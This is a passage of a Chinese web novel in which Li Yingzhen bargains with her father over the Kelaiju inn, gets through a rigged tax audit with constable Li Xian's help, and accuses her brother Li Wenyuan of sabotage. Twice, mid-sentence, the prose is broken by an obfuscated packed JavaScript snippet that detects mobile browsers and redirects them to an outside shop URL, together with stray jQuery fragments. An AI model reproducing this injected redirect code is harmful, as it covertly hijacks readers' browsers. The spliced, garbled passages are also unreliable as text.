指尖才触上纸包便感觉到透纸而来的热意,她即刻知道里头是什么了。 黎映真拿着纸包,没有打开,垂眸看了一眼,问道:“他自己不来?” “昨儿交代的事了。” “他怎么交代的?” “李捕快说让我今日在客栈外头瞅着,要是瞧见黎掌柜来了,就去找曹伯买两个酥饼送过来。”小柳儿说着,不好意思地挠了挠头,“但我早上睡迟了,又被我娘叫去补家里的墙,所以晚了,幸好黎掌柜没走。” “我若没来呢?” “那就想办法送你家里去。” 小柳儿答得一板一眼,黎映真听着,脸上的恼意虽不见立刻消散,眼波却是柔和不少。 再看了一眼小柳儿亮晶晶的双眼,她将酥饼递过去,道:“带回去跟你娘一块儿吃。” “这……”小柳儿惊在当场,但那眼里尽是喜色。 “拿着吧。”黎映真将酥饼直接塞去小柳儿怀里,“酥饼给了我,就是我的东西,我送你的,他怪不着你,不服就让他来找我。” 小柳儿自然知道黎映真厉害,当下抱着酥饼,连声道谢,扭头就兴冲冲跑了。 见不到李弦,但好歹知道他一切顺利,眼下也做不了其他的,黎映真便在客栈待到做好晚市前的准备,方才回黎家去。 一进黎家门,那股阴沉紧张的气氛扑面而来。 黎映真足下微顿,问看门的家丁道:“老爷回来了吗?” “才回。”家丁唯唯诺诺得回道,头低得恨不能直接埋进胸口,显然是挨了训斥,还没缓过来。 黎映真收拾了一番心绪,直接往黎世昌书房去,果真在门外,遇见了老管家。 她没要硬闯的意思,见管家示意借一步说话,随跟着走远了一些,问道:“爹在里头?” “少爷也在。”管家道,“小姐此时不便进去。” 朝紧闭的书房大门看了一眼,黎映真道:“没事,我等着。” 管家仍想劝她,书房里却忽地传来重重拍案的声响。 黎映真抓住机会,站去门边问道:“爹,怎么了?” 书房中一阵沉默,稍后房门打开时,黎文远那张阴鸷带怒的脸出现在她面前。 “你来做什么?”仍是那副嫌恶的表情,黎文远堵在门口,甚至扶在门扇上的手都未曾放下。 知道黎世昌在书房里看着,黎映真便只站着,对黎文远不多加理会。 待听见黎世昌开了口,她才推开黎文远拦在面前的手臂,侧身踏入书房,道:“我不放心,过来看看。” 这话是答黎文远的,话音落下时,她又看着黎世昌,问道:“爹,出事了吗?” “啪。” 门扇被重重关上,黎文远大步到黎映真身边,瞪着她道:“黎家有你说话的份?” “我不还是进来了?”黎映真冷冷瞟了黎文远一眼,绕去书案后头,黎世昌身边,“我虽能力有限,但若是家里银钱上的事儿,我……多少能帮一些。” 黎文远本就在气头上,这会儿又被当面在伤口上撒盐,登时怒火中烧,目眦欲裂地指着黎映真,恨不得扑上来将人撕了,道:“你!” “够了。”黎世昌沉声喝止道。 他揉了揉太阳穴,视线在黎映真和黎文远之间逡巡,久未言语。 书房内三人各怀心事,最后还是黎文远最先耐不住,又叫了黎世昌一声:“爹。” 话尾处,那憎恶嫌弃的目光又一次落在黎映真身上,瞬间又多了十分的怨毒。 “我知道了。”黎世昌皱着眉,明显可见其顾虑,但终究比黎文远沉得住气,“你先出去,我跟你姐姐有话说。” 黎文远闻言又失声叫了一声爹,无奈黎世昌心意已决,他不好当场发作,只得扬长而去。 摔门声大得让黎映真不由蹙眉,但见黎文远走了,她总是放心了些,至少证明自己在黎世昌眼里逐渐有了可利用的位置。 “映真……” “我不想帮黎文远。”黎映真先打断了黎世昌的话,而后绕去方才黎文远站的位置,隔着书案跟黎世昌相对,神情又软和下来,“但爹要帮他,我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196994|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 黎世昌也缓和了语调,道:“家里如今,都是文远在操持。” “我知道。”她略低头,视线放在别处,一副不甘心又无奈的模样,“所以我是在帮家里。可我又落不下好,爹总该给我个保障吧。” 双目微眯,黎世昌眼底才起的温情瞬间冰凉,看着黎映真问道:“你要什么保障?” “我本意就是想要个安身立命的地方,所以才不遗余力地经营客来居。所幸我娘在天之灵,客栈不光让我盘活了,还借了公主的东风。黎文远想要客来居,应该也少不得这个缘由吧。” 黎世昌不动声色。 “可爹明白,公主在意的不是客来居的招牌,是我。所以,我的意愿在交接客来居这件事上才最重要。说到底,一个死招牌,没什么大用。”黎映真转回目光,对上黎世昌审视的视线,正色道,“我可以交出客来居,也可以给黎文远牵线搭桥,但要爹立个字据。” “什么字据?” “将来若我另起炉灶,黎家任何人不得再以任何形式插手、侵占我的经营与收益。并且,我需要家里帮助时,爹也得给与相应的支持。如此,我才能没有后顾之忧,交出已经养成的招牌,并且全力为爹分忧。” 书房内陷入比之前更深的沉默,那落在黎映真身上地目光也越发锐利,不似父亲对女儿的关注,更像是积年老贾面对商场对手时的审查试探。 “爹,我的要求过分吗?”黎映真问道,眉心有浅浅的痕迹,略微透露出了她此刻的忐忑。 原本紧抿的嘴角稍有松动,黎世昌那双看来冰冷的眼里竟渗出几分欣慰与赞色。 “你从哪里学来的这些计较?”尾音明显上扬,与黎世昌的神情彼此呼应。 黎映真有意叹息道:“被人卖了一回,才知不得不学。不过幸好,我姓黎,血脉自成,真想学,也不是难事。” 黎世昌眼波变换,黎映真也判断不清此时此刻他究竟是什么心思,只能暂做忍耐,等着结果。 扶在座椅扶手上的那只带着旧茧的手抬起又落下,黎世昌的身子看来松弛了些,再看黎映真时,嘴角含笑,虽不见得十分高兴,却肉眼可见的少了先前的重重顾虑。 “你的意思,我明白了。容我再想想。”黎世昌又摆出那副一家之主的架子,看似稳如泰山。 黎映真却问道:“那我今后出入家里,可能自由一些?” “从来也未想要困着你,去吧。”黎世昌道。 心底对黎世昌这般惺惺作态嗤之以鼻,黎映真表面上还需做做样子,行礼道:“多谢爹。” 从书房出来,黎映真本想回绣楼。 经过回廊拐角处,手臂忽地被扣住,一股强猛的劲儿拽着她一个劲儿往前走。 那利爪一样的手似要将她骨头捏碎似的,疼得黎映真一点都不想再忍,抬脚用力一踹。 跟前的身影猝不及防,向前栽去的同时却还不放手,连带着两人险些一块摔去地上。 她抱住一边的廊柱,趁着对方不备,再是一脚,正中那人后腰。 一声不吃痛的惨叫后,抓在她臂上的手,终于松开。 周围没有其他人,呼救都不见得及时,黎映真转头就跑,不敢有一丝停顿。 直到绣楼附近,遇上翠环,她才停下。 剧烈的喘息带着寒意直入肺腑,喉口难受得隐约有了血腥味,背后发的汗被周围的寒气一冻,这会儿冷得她浑身难受。 刚才那两脚还是踹得轻了。 这该死的黎府,可恶的黎文远,她真是多一刻都不想待。 63. 第 63 章 有了黎世昌的首肯,黎映真不必多待在黎府,而是常往客栈去。 因从某种方面来说,这也算是在替黎文远经营,黎世昌更应该支持她才对。 这日她正在客栈对近期采买的单据,忽听得几声脚步传来,一并还有阿桃的声音:“掌柜的,这二位是县衙户房的经承大人。” 黎映真抬眼看去,为首的是个四十余岁的精干男子,面容严肃,身后跟着个捧着文书的年轻书吏。 她心头一凛,面上却是带笑,自柜台后迎来,道:“二位大人莅临,不知有何指教?” 年长的经承取出一纸公文,语气公事公办,道:“黎掌柜,有人检举客来居账目不清,涉嫌以虚报损耗、重复列支等方式偷漏税款。这是衙门的核查文书,还请配合。” 黎映真心念一转,似是明白了这突然事件背后的缘由,颔首道:“大人先坐,我去取账本。” 她不动声色地拿来账本,递给经承,道:“大人请看,客来居开业以来,所有账目都经过复核,一应收支皆有据可查。” 年轻书吏接过账册仔细翻阅,忽然指着一处道:“这笔三十两的食材损耗,为何没有对应的报废清单?按照规矩,超过二十两的损耗都需要附上详细说明。” “这是开业第一个月的情况。”黎映真从容道,“当时后厨尚未完全理顺,确实有些食材因保管不当而损坏,相关的报废记录都在这里。” 她取出一本厚厚的记事册,里面详细记录了每次损耗的时间、品类、数量和原因,甚至还有孙伯和当时帮工的画押确认。 经承相觑,复仔细核对着记录,忽然又道:“那这笔五十两的材料费用呢?我们查过五味轩的账,上头也有一笔相同支出。此时看,黎掌柜这是涉嫌重复列支?” 看这经承有备而来,黎映真知道他们有意为难也不能当场表露。 此刻心头一紧,她快速回忆着当时的账务处理,面上仍笑脸相待。 见她不做声,经承沉了脸色,颇有质问之意,道:“黎掌柜,如何解释?” 黎映真回道:“五味轩重新开业时,从客来居拨过一笔重建的材料支出,这比账已通过往来平了,相关的凭证都留在五味轩的账房赵先生那儿。大人当时没瞧见吗?或是赵先生未免麻烦,只按照五味轩的账面,看了他的记录。” 正说着话,客栈外头踏来一道高俊身影,正是李弦,身边还带着赵淮。 赵淮手中捧着账册,一并还有一些单据,上前递给经承道:“两位大人,客来居与五味轩之间的资金往来都有明确记录,这五十两的重建材料支出都在这儿记着。” 赵淮与经承周旋时,黎映真察觉到李弦递来的眼色。 她悄然瞥了那人一眼,见他轻摇了摇手里的册子,抬了抬下巴,嘴角勾起,又是那副玩世不恭的做派。 黎映真不止很快收回视线,还故意扭过脸去。 避着那人,她才展露笑意,不防身旁有熟悉的气息靠近,她挪开些,那人又跟了过来。 正要转头说他,她却听李弦道:“这是五味轩的完整账册副本,已经过衙门备案,你过来之前,没查过?” 这话自然是对经承说的。 “这不是还要再仔细看看嘛,李哥。”经承显然也是忌惮李弦的,当下面色缓和了些,低头继续查账。 “这笔……”他指着账目道,“这笔一百两的……特殊……招待费,又是什么?这是什么款项?且无受招待人信息,作何解释?” 客来居里有不少达官显贵出入,要打典的地方多,有些能走明账,有些则说不了那么清楚。 眼下这笔账,就是不好深究的款项,否则要牵扯出些麻烦的。 正思索要如何应答时,黎映真忽听李弦开口道:“这笔我知道。当时为了调查周嫂失踪案,需要向一些江湖人士打探消息,这笔钱是黎掌柜协助衙门办案的支出。相关的文书都在衙门备案,你这小子查账得自家账目都不清楚。” 最后那半句是李弦凑近了经承身边低声说的,落在黎映真眼里,便是方才还严肃的经承,这会儿倒有些无所适从,又连着叫了几声“李哥”。 再往后,经承没看出古怪的账也就走了。 看李弦送人,黎映真则与赵淮又交代起五味轩的账目。 说了没一会儿,身后那似远似近的气息总牵着她的思绪,她便速速与赵淮说完,又回柜台后头核账去了。 有人身形高大,遮了一大片亮光。 黎映真放下笔,盯着李弦看。 他嘿嘿一笑,倚着柜台,道:“我也是才收到信儿就过来了。” “没怪你未提前通知,还得谢谢你来得及时。”黎映真收拾着手里的东西,“不过,刚才经承真要跟你回去衙门看账,怎么办?” “自然有办法。”李弦抬头,想要看清黎映真的动作似的,收敛了前一刻的惬意神情,道,“倒是你,自己多加留心。” 正锁抽屉的手一顿,黎映真眼底亦是渐渐冷了下去,道:“嗯,我知道。这不是师父领进门,修行在个人。眼下的情况,看来我悟得还不错。” 李弦眉心虽皱了几分,眼底嘴角却皆含笑,调侃道:“我教的?” “引蛇出洞,先发制人。”黎映真道,“这不是惹得有人动了手,我这还得回去唱戏呢。” “可惜啊,可惜啊。”李弦啧啧有声,视线追着黎映真从柜台后头出来,自己亦成了背靠柜台的姿势,双肘搭着,还是那副懒洋洋的模样,“又看不到黎掌柜的好戏咯。” 黎映真笑睨着他,自他跟前经过,目光也总在他身上停留。 直到收回了视线,才听他在身后道:“还是要小心。” “好。”她脚下未停,这就离开了客来居。 回到黎府时,听说黎家父子正在客厅,黎映真收拾了略显凌乱的装束,深吸一口气,提步而去。 大厅内,黎世昌端坐于主位之上,面色沉静,看不出喜怒。 黎文远则安静地坐在下首,低眉顺目,手中捧着茶盏,啜着茶,若有所思。 她一到,立即引得黎文远投来警惕的视线,她对此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204374|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视若无睹,与黎世昌打了招呼,直接坐去了黎文远对面的位置上。 看得出她带怒而归,黎世昌问道:“怎么了?” 黎映真欲言又止,掀眼去看,正对上黎文远充满敌意的目光。 见他故作轻松地放下茶盏,挪开视线,黎映真嘴角勾起一抹似笑非笑的弧度,道:“女儿方才从客来居回来,遇上县衙户房的经承亲自带人上门,说是接到检举,要查客来居的账。” 黎文远执杯的手几不可察地一顿,随即嗤笑一声,掸了掸衣上的褶子,道:“是让官府查出了什么,所以回来求援了?” “真有问题,我该是回不来了。”她盯着黎文远,见他始终不曾还以眼色便知道他心虚,当下再露些锋芒出来,有意针对他,“经承对客来居的账目一清二楚,连和五味轩之间的内部往来账目都了如指掌,还咬着一笔我帮公主打典人情的账,是想坐实我意图偷漏税款的罪名。” 她每说一句,黎文远脸上的血色便褪去一分。 而黎世昌端着茶盏的手停在半空,眉头渐渐锁紧。 黎映真又转向黎世昌,压制着怒意,也透着委屈,道:“爹,我想不明白,谁要针对我,针对黎家的产业?客来居真出了问题,对谁有好处?” “少拿公主做挡箭牌。”黎文远目光沉沉,尖锐刻薄,“你真手脚干净,还能让人抓到把柄?手底下没功夫,就老实把客栈交出来,别只在爹面前摆出一副委屈模样,还能是谁欺负你这个县里出了名的泼妇疯妇不成?” “够了。”黎世昌冷声道。 黎文远却嫌不够,行至那一家之主面前先声夺人,指着黎映真责怪道:“她拿个破客栈当宝贝,殊不知,不过是这成安县里没人要跟她个女人计较,才由得她胡闹。爹若是早些将客栈收回来交给我,别说只在这成安县里,就是临近几城,哪怕是京城,我都开上自家分号了,哪还是这偏安一隅的破落光景。” “你眼下手里拿的,外头用的,哪一项不是从爹手里得的?”黎映真冷冷道,“你靠着祖上荫蔽,靠着爹护持,一路走到现在,究竟给家里多增多少产业?” “你!”黎文远怒目相向,眼底又见发红。 “我什么?”黎映真站起身,迎着黎文远指尖所在逼近过去,当着黎世昌的面,反驳道,“我一个不成气候的女人,只用几个月的时间已在当朝公主面前露了脸,得了国公赏的一间铺子。我留在成安县,没将客栈开去京城,你以为是去不了?” “黎文远,先前那些阴狠手段,我不计较,是因为你也姓黎。从你火烧五味轩的那一刻开始,到今日让官府的人来查我的帐,你拿够了黎家的身家家底,还贪心不足要我的客栈,若不是有爹在,你当我会放过你?” 且不管黎映真所言有多少真是黎文远做的,如今她只要将内贼的帽子扣给黎文远,明明白白地让黎世昌知道她一再的退让是出于何种目的,就够了。 “你……你休要血口喷人!”黎文远见压不住黎映真这决绝的气势,只得求助黎世昌道,“爹,你看看她,成何体统!”